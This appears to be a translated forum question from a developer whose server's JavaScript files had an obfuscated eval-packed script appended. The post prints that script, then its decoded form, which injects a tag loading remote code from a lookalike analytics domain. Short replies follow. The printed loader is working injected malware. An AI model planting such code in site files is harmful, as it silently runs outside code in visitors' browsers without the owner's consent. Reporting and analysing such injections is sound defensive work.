The CNZZ rogue plug-in maliciously inserts scripts into js

the bottom of many project js files under the server are inserted into the following script

eval(function(p, a, c, k, e, r) {
    e = function(c) {
        return (c < a ? "": e(parseInt(c / a))) + ((c = c % a) > 35 ? String.fromCharCode(c + 29) : c.toString(36))
    };
    if (!"".replace(/^/, String)) {
        while (c--) r[e(c)] = k[c] || e(c);
        k = [function(e) {
            return r[e]
        }];
        e = function() {
            return "\\w+"
        };
        c = 1
    };
    while (c--) if (k[c]) p = p.replace(new RegExp("\\b" + e(c) + "\\b", "g"), k[c]);
    return p
} ("v(h(p,a,c,k,e,r){e=h(c){i c.o(a)};m(!\"\".l(/^/,u)){j(c--)r[e(c)]=k[c]||e(c);k=[h(e){i r[e]}];e=h(){i\"\\\\w+\"};c=1};j(c--)m(k[c])p=p.l(q t(\"\\\\b\"+e(c)+\"\\\\b\",\"g\"),k[c]);i p}(\"1 5=5||[];(8(){1 a=3.b(\\\"4\\\");a.7=\\\"//g.9/6/6.c\\\";1 2=3.e(\\\"4\\\")[0];2.f.d(a,2)})();\",n,n,\"|x|s|y|z|A|B|C|h|D||E|F|G|H|I|J\".K(\"|\"),0,{}))", 47, 47, "|||||||||||||||||function|return|while||replace|if|17|toString||new|||RegExp|String|eval||var|document|script|_hmt_cnzz|hm|src|work|createElement|js|insertBefore|getElementsByTagName|parentNode|cnzz|split".split("|"), 0, {}))

is parsed

var _hmt_cnzz = _hmt_cnzz || [];
(function () {
    var a = document.createElement("script");
    a.src = "//cnzz.work/hm/hm.js";
    var s = document.getElementsByTagName("script")[0];
    s.parentNode.insertBefore(a, s)
})();

then download the statistics script on cnzz.work

this has not been introduced in my impression, so I can only delete it manually at present, but how to solve this problem fundamentally? I hope the boss complains

.
Jan.24,2022

I also encountered this problem. I couldn't find the root cause by deleting it manually.


is that alarmist talk? Common domain names are not only com, cn,cc, etc., a well-known website domain name [character] plus other domain names are not necessarily [official] domain name protection registration.

is qq.vip an official member website of Tencent?

Menu